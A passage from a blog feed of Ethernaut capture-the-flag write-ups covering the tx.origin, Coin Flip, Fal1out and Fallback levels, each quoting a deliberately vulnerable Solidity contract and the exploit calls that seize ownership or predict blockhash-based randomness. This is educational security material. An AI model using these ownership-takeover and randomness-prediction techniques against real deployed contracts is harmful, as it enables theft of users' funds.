        (<span class="hljs-keyword">bool</span> success, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> result) <span class="hljs-operator">=</span> addr.<span class="hljs-built_in">call</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"changeOwner(address)"</span>, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>));

        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Relay not successful"</span>);
    }
}
</code></pre><p>I got the address of my problem contract and called the <code>changeOwner</code> function with the low level <code>address.call</code> function. More info about that <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://kushgoyal.com/ethereum-solidity-how-use-call-delegatecall/">here</a>. Sure enough, the owner was updated with my address. Success!</p><h2 id="h-what-i-learned" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h2><ol><li><p>There is a difference between <code>tx.origin</code> and <code>msg.sender</code> and we have to keep this difference in mind when using <code>tx.origin</code> because we can end up with security holes</p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[Ethernaut 3: Coin Flip]]></title>
            <link>https://paragraph.com/@banky/ethernaut-3-coin-flip</link>
            <guid>JtQax43g27zkIzTMehFr</guid>
            <pubDate>Mon, 15 Aug 2022 23:04:25 GMT</pubDate>
            <description><![CDATA[This is the third challenge on ethernaut: https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624fInvestigationThis contract is for a simple coin flip. Something like this might be used in a game where people bet money on a coin flip, thus making it valuable to try to beat the system. The contract creates a random number using the block hash of the current block number. This block hash is divided by (UINT_256_MAX - 1) / 2. Thus, there is a 50% chance for true and 50...]]></description>
            <content:encoded><![CDATA[<p>This is the third challenge on ethernaut: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624f">https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624f</a></p><h2 id="h-investigation" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h2><p>This contract is for a simple coin flip. Something like this might be used in a game where people bet money on a coin flip, thus making it valuable to try to beat the system. The contract creates a random number using the block hash of the current block number. This block hash is divided by (UINT_256_MAX - 1) / 2. Thus, there is a 50% chance for true and 50% chance for false. The flip logic looks like this</p><pre data-type="codeBlock" text="uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
}
"><code><span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> consecutiveWins;
  <span class="hljs-keyword">uint256</span> lastHash;
  <span class="hljs-keyword">uint256</span> FACTOR <span class="hljs-operator">=</span> <span class="hljs-number">57896044618658097711785492504343953926634992332820282019728792003956564819968</span>;

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flip</span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> _guess</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-keyword">uint256</span> blockValue <span class="hljs-operator">=</span> <span class="hljs-keyword">uint256</span>(<span class="hljs-built_in">blockhash</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span>.sub(1)));

    <span class="hljs-keyword">if</span> (lastHash <span class="hljs-operator">=</span><span class="hljs-operator">=</span> blockValue) {
      <span class="hljs-keyword">revert</span>();
    }

    lastHash <span class="hljs-operator">=</span> blockValue;
    <span class="hljs-keyword">uint256</span> coinFlip <span class="hljs-operator">=</span> blockValue.div(FACTOR);
    <span class="hljs-keyword">bool</span> side <span class="hljs-operator">=</span> coinFlip <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> ? <span class="hljs-literal">true</span> : <span class="hljs-literal">false</span>;

    <span class="hljs-keyword">if</span> (side <span class="hljs-operator">=</span><span class="hljs-operator">=</span> _guess) {
      consecutiveWins<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;
      <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    } <span class="hljs-keyword">else</span> {
      consecutiveWins <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
      <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }
}
</code></pre><h2 id="h-solution" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h2><p>This attempt at randomness is not truly random and the underlying calculation to derive it is publicly available. Thus, it is trivial to run the same algorithm to predict what the next coin flip value will be</p><pre data-type="codeBlock" text="value = await web3.eth.getBlockNumber()
    .then((num) =&gt; web3.eth.getBlock(num))
    .then((block) =&gt; block.hash)
    .then((hash) =&gt; parseInt(hash, 16) / 57896044618658097711785492504343953926634992332820282019728792003956564819968);

await contract.flip(value &gt; 1 ? true : false);
"><code>value <span class="hljs-operator">=</span> await web3.eth.getBlockNumber()
    .then((num) <span class="hljs-operator">=</span><span class="hljs-operator">></span> web3.eth.getBlock(num))
    .then((<span class="hljs-built_in">block</span>) <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-built_in">block</span>.hash)
    .then((hash) <span class="hljs-operator">=</span><span class="hljs-operator">></span> parseInt(hash, <span class="hljs-number">16</span>) <span class="hljs-operator">/</span> <span class="hljs-number">57896044618658097711785492504343953926634992332820282019728792003956564819968</span>);

await <span class="hljs-keyword">contract</span>.flip(value <span class="hljs-operator">></span> <span class="hljs-number">1</span> ? <span class="hljs-literal">true</span> : <span class="hljs-literal">false</span>);
</code></pre><h2 id="h-what-i-learned" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h2><ol><li><p>There is no built in way for solidity to provide actual random numbers. Instead of this, we should request random numbers from an oracle such as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.chain.link/docs/get-a-random-number">Chainlink VRF</a>.</p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[Ethernaut 2: Fal1out]]></title>
            <link>https://paragraph.com/@banky/ethernaut-2-fal1out</link>
            <guid>ykPclzQ69trUaSnOD9vo</guid>
            <pubDate>Mon, 15 Aug 2022 19:36:33 GMT</pubDate>
            <description><![CDATA[InvestigationThe problem is to claim ownership of the following contract// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallout { using SafeMath for uint256; mapping (address => uint) allocations; address payable public owner; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function...]]></description>
            <content:encoded><![CDATA[<h2 id="h-investigation" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h2><p>The problem is to claim ownership of the following contract</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import &apos;@openzeppelin/contracts/math/SafeMath.sol&apos;;

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address =&gt; uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
            require(
                msg.sender == owner,
                &quot;caller is not the owner&quot;
            );
            _;
        }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] &gt; 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">'@openzeppelin/contracts/math/SafeMath.sol'</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Fallout</span> </span>{
  
  <span class="hljs-keyword">using</span> <span class="hljs-title">SafeMath</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">uint256</span></span>;
  <span class="hljs-keyword">mapping</span> (<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">uint</span>) allocations;
  <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> <span class="hljs-keyword">public</span> owner;


  <span class="hljs-comment">/* constructor */</span>
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Fal1out</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    allocations[owner] <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyOwner</span> </span>{
            <span class="hljs-built_in">require</span>(
                <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner,
                <span class="hljs-string">"caller is not the owner"</span>
            );
            <span class="hljs-keyword">_</span>;
        }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">allocate</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    allocations[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> allocations[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>].add(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>);
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sendAllocation</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> allocator</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-built_in">require</span>(allocations[allocator] <span class="hljs-operator">></span> <span class="hljs-number">0</span>);
    allocator.<span class="hljs-built_in">transfer</span>(allocations[allocator]);
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">collectAllocations</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
    <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">transfer</span>(address(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>);
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">allocatorBalance</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> allocator</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
    <span class="hljs-keyword">return</span> allocations[allocator];
  }
}
</code></pre><p>Reading through the contract, it seems like it serves as a sort of ledger. Users can allocate funds to the contract and send them between other allocators. The owner can call <code>collectAllocations</code> to withdraw all the funds in the contract. In the real world, it would be very enticing to be the owner of such a contract. Let&apos;s try to claim ownership.</p><h2 id="h-solution" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h2><p>The only part of the contract where ownership is assigned is in the constructor. This constructor looks unexpected though because the name has a typo from the name of the contract. This means that we might be able to call the constructor function again after the contract has been initialized. Sure enough, calling the constructor function manually changes the owner to my address.</p><pre data-type="codeBlock" text="await contract.owner()  
// &quot;0x0000000000000000000000000000000000000000&quot;

await contract.Fal1out()

await contract.owner()  
// &quot;0xCDcCAD1dE51d4e2671e0930a0b7310042998c252&quot;
"><code>await <span class="hljs-keyword">contract</span>.owner()  
<span class="hljs-comment">// "0x0000000000000000000000000000000000000000"</span>

await <span class="hljs-keyword">contract</span>.Fal1out()

await <span class="hljs-keyword">contract</span>.owner()  
<span class="hljs-comment">// "0xCDcCAD1dE51d4e2671e0930a0b7310042998c252"</span>
</code></pre><h2 id="h-what-i-learned" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h2><ol><li><p>Learnt about the Rubixi exploit which inspired this level. In it, the contract was changed</p></li><li><p>It&apos;s probably always better to just rely on the <code>constructor</code> directive for defining constructors</p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[Ethernaut 1: Fallback]]></title>
            <link>https://paragraph.com/@banky/ethernaut-1-fallback</link>
            <guid>QFURhf721bZ8hi0PppLk</guid>
            <pubDate>Mon, 15 Aug 2022 18:30:35 GMT</pubDate>
            <description><![CDATA[InvestigationStarted here by reading the description and the things that might help. Next, I started to go through the contract to understand what was going on. First, I saw the use of using which I wasn&apos;t sure what it meant.using SafeMath for uint256; I found that the using directive is taking functionality from the SafeMath library and applying them to uint256. This is Solidity&apos;s way of extending functionality of built in expressions. Next, upmapping(address => uint) public contri...]]></description>
            <content:encoded><![CDATA[<h2 id="h-investigation" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h2><p>Started here by reading the description and the things that might help. Next, I started to go through the contract to understand what was going on. First, I saw the use of <code>using</code> which I wasn&apos;t sure what it meant.</p><pre data-type="codeBlock" text="using SafeMath for uint256;
"><code><span class="hljs-keyword">using</span> <span class="hljs-title">SafeMath</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">uint256</span></span>;
</code></pre><p>I found that the <code>using</code> directive is taking functionality from the <code>SafeMath</code> library and applying them to uint256. This is Solidity&apos;s way of extending functionality of built in expressions. Next, up</p><pre data-type="codeBlock" text="mapping(address =&gt; uint) public contributions;
address payable public owner;

constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }
"><code><span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">uint</span>) <span class="hljs-keyword">public</span> contributions;
<span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> <span class="hljs-keyword">public</span> owner;

<span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-number">1000</span> <span class="hljs-operator">*</span> (<span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
  }
</code></pre><p>We have some state variables and initialization. Nothing very interesting happening with the state variables, but the constructor has something interesting happening. First, we set the owner of this contract to be the wallet that deployed it and then we set the contributions for the deploywer to be 1000 ether. This seems to be a contract where the owner can be switched if they contribute more than 1000 ether.</p><p>Next up, we have a modifier</p><pre data-type="codeBlock" text="modifier onlyOwner {
    require(
        msg.sender == owner,
        &quot;caller is not the owner&quot;
    );
    _;
}
"><code><span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyOwner</span> </span>{
    <span class="hljs-built_in">require</span>(
        <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner,
        <span class="hljs-string">"caller is not the owner"</span>
    );
    <span class="hljs-keyword">_</span>;
}
</code></pre><p>In solidity, I&apos;ve learnt that modifiers are functions that can be tied to other functions. The code in the modifier is called first before anything else in the function is called. In this contract, the <code>onlyOwner</code> modifier is used here</p><pre data-type="codeBlock" text="function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
    owner.<span class="hljs-built_in">transfer</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>);
}
</code></pre><p>Putting it all together, the owner can transfer all ETH in the contract by calling withdraw to themselves. The modifier ensures that only the holder of the owners wallet can transfer the funds. The challenge in this problem is to claim ownership of the contract and reduce the balance to zero. Seems a good place to start would be to somehow trick the contract to assign the ownership to my own wallet. Before that, taking a look at the other functions in this contract</p><pre data-type="codeBlock" text="function contribute() public payable {
    require(msg.value &lt; 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] &gt; contributions[owner]) {
        owner = msg.sender;
    }
}

function getContribution() public view returns (uint) {
    return contributions[msg.sender];
}

receive() external payable {
    require(msg.value &gt; 0 &amp;&amp; contributions[msg.sender] &gt; 0);
    owner = msg.sender;
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">contribute</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">&#x3C;</span> <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>);
    contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
    <span class="hljs-keyword">if</span>(contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">></span> contributions[owner]) {
        owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    }
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getContribution</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
    <span class="hljs-keyword">return</span> contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];
}

<span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">></span> <span class="hljs-number">0</span> <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">></span> <span class="hljs-number">0</span>);
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
}
</code></pre><p>The contract allows users to contribute funds through its public API. The <code>payable</code> modifier here means that the contract instance can receive funds using this function. The contributions however must be less than 0.001 ether. If the users contributions becomes the most in the contract, then this user becomes the new owner. If I had enough ether, I could use this function by doing a lot of small transactions until contributing over 1000 ether, thus grabbing ownership for myself. However, since I don&apos;t have enough ether, I&apos;ll need to try a different approach.</p><p>The <code>getContribution</code> function simply just gets the contributions at the senders address. Finally, we have the <code>receive</code> function. This is interesting to me because this is the second access point where the owner can be changed in the contract. I didn&apos;t know what a <code>receive</code> function was, so after some googling, I found that it is is simply a function that gets called when a contract receives ether with no call data. Eg. If someone just sends ether to the address. I figured that I could just send some ether to this address and if I send more than 0 and my wallet has some contributions tied to it, I should become the owner. This wallet probably existed for the owner to send ether into the contract when it was initialized</p><h2 id="h-solution" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h2><pre data-type="codeBlock" text="res = await contract.contribute.sendTransaction({from: player, value: toWei(&quot;0.0001&quot;)})
contribution = (await contract.getContribution()).toString()
// &quot;100000000000000&quot; (wei)
fromWei(contribution.toString())
// &quot;0.0001&quot; (ether)
"><code>res <span class="hljs-operator">=</span> await <span class="hljs-keyword">contract</span>.contribute.sendTransaction({<span class="hljs-keyword">from</span>: player, <span class="hljs-built_in">value</span>: toWei(<span class="hljs-string">"0.0001"</span>)})
contribution <span class="hljs-operator">=</span> (await <span class="hljs-keyword">contract</span>.getContribution()).toString()
<span class="hljs-comment">// "100000000000000" (wei)</span>
fromWei(contribution.toString())
<span class="hljs-comment">// "0.0001" (ether)</span>
</code></pre><p>My wallet is now registered to have 0.0001 ether of contributions. Now I&apos;ll try to grab ownership of the contract. Since you can&apos;t call the <code>receive</code> function directly through the ABI, I tried sending Ether to the contract directly using metamask. I got the wallet address of the contract and the contract owner through the ABI</p><pre data-type="codeBlock" text="contract.address
// &quot;0x19abb707Baa34a8E8BE7FC7420ACb537ae6327d4&quot;

await contract.owner()
// &quot;0x9CB391dbcD447E645D6Cb55dE6ca23164130D008&quot;
"><code><span class="hljs-keyword">contract</span>.<span class="hljs-built_in">address</span>
<span class="hljs-comment">// "0x19abb707Baa34a8E8BE7FC7420ACb537ae6327d4"</span>

await <span class="hljs-keyword">contract</span>.owner()
<span class="hljs-comment">// "0x9CB391dbcD447E645D6Cb55dE6ca23164130D008"</span>
</code></pre><p>Sure enough, after sending the ether, the contract owner has been updated to my wallet address</p><pre data-type="codeBlock" text="await contract.owner()
// &quot;0xCDcCAD1dE51d4e2671e0930a0b7310042998c252&quot;
"><code>await <span class="hljs-keyword">contract</span>.owner()
<span class="hljs-comment">// "0xCDcCAD1dE51d4e2671e0930a0b7310042998c252"</span>
</code></pre><p>To finish of the challenge, I just need to withdraw all the funds which is as simple as calling <code>withdraw</code>.</p><h2 id="h-what-i-learned" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h2><ol><li><p>I learnt how the <code>using</code> directive in solidity works and how it can be used to both modularize code and extend built in functionality</p></li><li><p>I learnt about fallback functions in solidity which are called when ether is sent to the contract with no other parameters. The fallback functions are <code>receive</code> for receiving ether and <code>fallback</code> which can be used to delegate calls to another contract</p></li><li><p>I learnt about OpenZeppelin&apos;s implementation of <code>Ownable</code> which can help to prevent this exploit</p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
    </channel>
</rss>